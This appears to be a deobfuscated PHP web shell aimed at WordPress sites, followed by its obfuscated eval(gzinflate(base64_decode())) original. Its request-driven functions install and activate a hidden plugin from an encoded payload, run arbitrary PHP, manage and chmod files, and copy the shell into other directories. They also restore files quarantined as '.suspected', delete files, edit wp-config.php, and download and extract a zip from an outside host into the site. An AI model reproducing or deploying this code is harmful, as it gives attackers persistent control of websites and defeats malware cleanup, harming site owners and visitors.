    echo "<font color=red>Error:</font> cant delete $tmp_file<br>";
      die();
    }
  }

  


  $plug_dir =  WP_PLUGIN_DIR . '/hello';
  $plug_file = $plug_dir . '/hello.php';

  if(!file_exists($plug_dir)){
    if(mkdir($plug_dir)){
      echo "<font color=green>Succes:</font> create $plug_dir<br>";
    } else {  
      echo "<font color=red>Error:</font> can't create $plug_dir<br>";
      die();
    }
  } else {
    echo "<font color=green>Succes:</font> Directory $plug_dir exists<br>";
  }

  if(file_put_contents($plug_file, base64_decode($dolly_code))){
    echo "<font color=green>Succes:</font> $plug_file<br>";
  } else {
    echo "<font color=red>Error:</font> $plug_file<br>";
    die();
  }
  @clearstatcache();

  if(file_exists($plug_file)){
    echo "<font color=green>Succes:</font> $plug_file found<br>";
  } else {
    echo "<font color=red>Error:</font> $plug_file not found<br>";
    die();
  }

  require_once ABSPATH .'/wp-admin/includes/plugin.php';

  echo "<font color=green>Succes:</font> include admin<br>";

  if ( wp_cache_delete('plugins', 'plugins') ){
    echo "<font color=green>Succes:</font> clear cache<br>";
  } else {
    echo "<font color=red>Error:</font> can't clear cache<br>";
  }
  

  $plug = activate_plugin( 'hello/hello.php','',false,true);
  
  if( is_wp_error( $plug )){
    echo $plug->get_error_code();
    echo $plug->get_error_message();
    echo $plug->get_error_data();
  } else {
    echo "<br><br><font size=+5 color=green>Succes:</font> plugin activate<br>";
  }


  
}


function copy_zpl(){

  if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
    $wpc = base64_decode($_REQUEST['f']);
  } else {
    die('WTF?');
  }

  $dir = dirname($wpc);

  $loc_file = trim( preg_replace('/\(.*$/', '', __FILE__) );
  
  if (copy( $loc_file ,$dir . '/pl.php')){
    echo "<font color=green>Succes:</font>copy  $dir pl.php<br>";
  } else {
    echo "<font color=red>Error:</font>copy $dir pl.php<br>";
    die();
  }
}

function restore(){
  
  if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
    $rf = base64_decode($_REQUEST['f']);
  } else {
    die('WTF?');
  }
  
  if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
    $dir = $_REQUEST['d'];
  } else {
    die('WTF?');
  }
  $nn = str_replace('.suspected', '', $rf);
  $nd = base64_encode($nn);
  if(copy($rf,$nn)){
    echo "<script>parent.Worker('f_m','$dir','', '','$nd','file_man');</script>";
  } else {
    die('Can	 copy file');
  }
}

function delete_zpl(){
    if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
    $wpc = base64_decode($_REQUEST['f']);
  } else {
    die('WTF?');
  }

  $dir = dirname($wpc);

    
  if(unlink($dir . '/pl.php')){
    echo "<font color=green>Succes:</font>delete  $dir pl.php<br>";
  } else {
    echo "<font color=red>Error:</font>can't delete $dir pl.php<br>";
    die();
  }
}

function  update_wordpress(){

  if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
    $wpc = base64_decode($_REQUEST['f']);
  } else {
    die('WTF?');
  }

  $dir = str_replace('wp-config.php', '', $wpc);

  $pphv = phpversion();
  
  if('7' == $pphv[0]){
    $ver = 'wp.zip'; 
  } else {
    $ver= 'wp51.zip';
  }

  $name = $dir . $ver;
  
  $ch = curl_init ('http://carwash-leusden.nl/wordpress/'.$ver);
  $fp = fopen ($name, "w+");
  curl_setopt ($ch, CURLOPT_FILE, $fp);
  curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  $ult = curl_exec ($ch);
  curl_close ($ch);
  fclose ($fp);
  
  if($ult){
    $zip = new ZipArchive;
    if ($zip->open($name) === TRUE) {
      $zip->extractTo($dir);
      $zip->close();
      echo 'All ok';
    } else {
    echo 'Zip error';
    }
  } else {
    echo 'Curl error';
  }
  die();
}

function debug_wordpress(){

  if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
    $wpc = base64_decode($_REQUEST['f']);
  } else {
    die('WTF?');
  }

  if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
    $c = $_REQUEST['c'];
  } else {
    die('WTF?');
  }
  if('true' == $c){
    $cod = "define( 'WP_DEBUG', true );";
  } else {
    $cod = "define( 'WP_DEBUG', false );";
  }

  $tmp = file_get_contents($wpc);
  $count = 0;
  $tmp = preg_replace('/define\s*\(\s*\'WP_DEBUG\'\s*,\s*(true|false)\s*\)\s*;/is', $cod, $tmp, -1 , $count);

  if(0 == $count){
    $tmp = preg_replace('/(\$table_prefix\s*=\s*(\'|")[\S]+(\'|")\s*;)/is', '$1' ."

". $cod, $tmp, -1 , $count);    
  }

  if(file_put_contents($wpc, $tmp)){
    @clearstatcache();
    $tmp = file_get_contents($wpc);
    if(strpos($tmp, $cod) === false){
      echo 'Error: Can\'t find code';  
    } else {
      echo "Succes set $cod";
    }   
  } else {
    echo 'Error: Bad file_put_contents';
  }
}

function delete_md5(){

  if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
    $md5 = $_REQUEST['c'];
  } else {
    die('WTF?');
  }  

  $all_files = file('manual_log');
  $all_files = array_unique($all_files);
  
  foreach($all_files as $t){
    $t = trim($t);
    $tex = explode('=====', $t);
    $file = $tex[0];
    $md5_file = md5(file_get_contents($file));
    if($md5 == $md5_file){
      copy($file, $file . '.suspected');
      if(unlink($file)){echo "$file deleted!<br>";} else {echo "<font color=red>$file ERROR deleted!</font><br>";}
    }
  }

  echo "Done!";
}

function delete_name(){

  if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
    $fn = $_REQUEST['c'];
  } else {
    die('WTF?');
  }  

  $all_files = file('manual_log');
  $all_files = array_unique($all_files);
  
  foreach($all_files as $t){
    $t = trim($t);
    $tex = explode('=====', $t);
    $file = $tex[0];
    $file_n = basename($file);
    if($file_n == $fn){
      unlink($file);
    }
  }

  echo "<script>parent.Worker('m_a','','', '','','file_man');</script>";
}

if ( 0 == count($_POST) &&  0 == count($_GET) ) {

	echo_header();
	echo_scripts();
	check_functions();
	big_form();
	big_table();
	echo '<script>MakeHome();</script>';
	die();

} else {

	switch ($_REQUEST['a']){
		
    case "r_s":
    restore();
    die();
		
    case "f_m":
		file_man();
		die();

		case "e_f":
		edit_file();
		die();

		case "s_f":
		save_file();
		die();

    case "s_n":
    save_norm();
    die();

		case "d_f":
		delete_file();
		die();

    case "d_z":
    delete_zpl();
    die();

		case "e_p":
		exec_php();
		die();

		case "suicide":
		suicide();
		die();

		case "m_w":
		make_worker();
		die();

		case "m_f":
		manage_file();
		die();

		case "d_d":
		download000();
		die();

		case "c_f":
		chmod_file();
		die();

		case "r_f":
		renew_file();
		die();

		case "m_a":
		manual_av();
		die();

		case "m_p":
    manual_wp();
		die();

		case "m_wp":
    make_wp();
		die();

    case "c_z":
    copy_zpl();
    die();

    case "u_w":
    update_wordpress();
    die();

    case "d_w":
    debug_wordpress();
    die();

    case "d_5":
    delete_md5();
    die();

    case "d_n":
    delete_name();
    die();
	}
}

Did this file decode correctly?

Original Code

<?php eval(gzinflate(base64_decode('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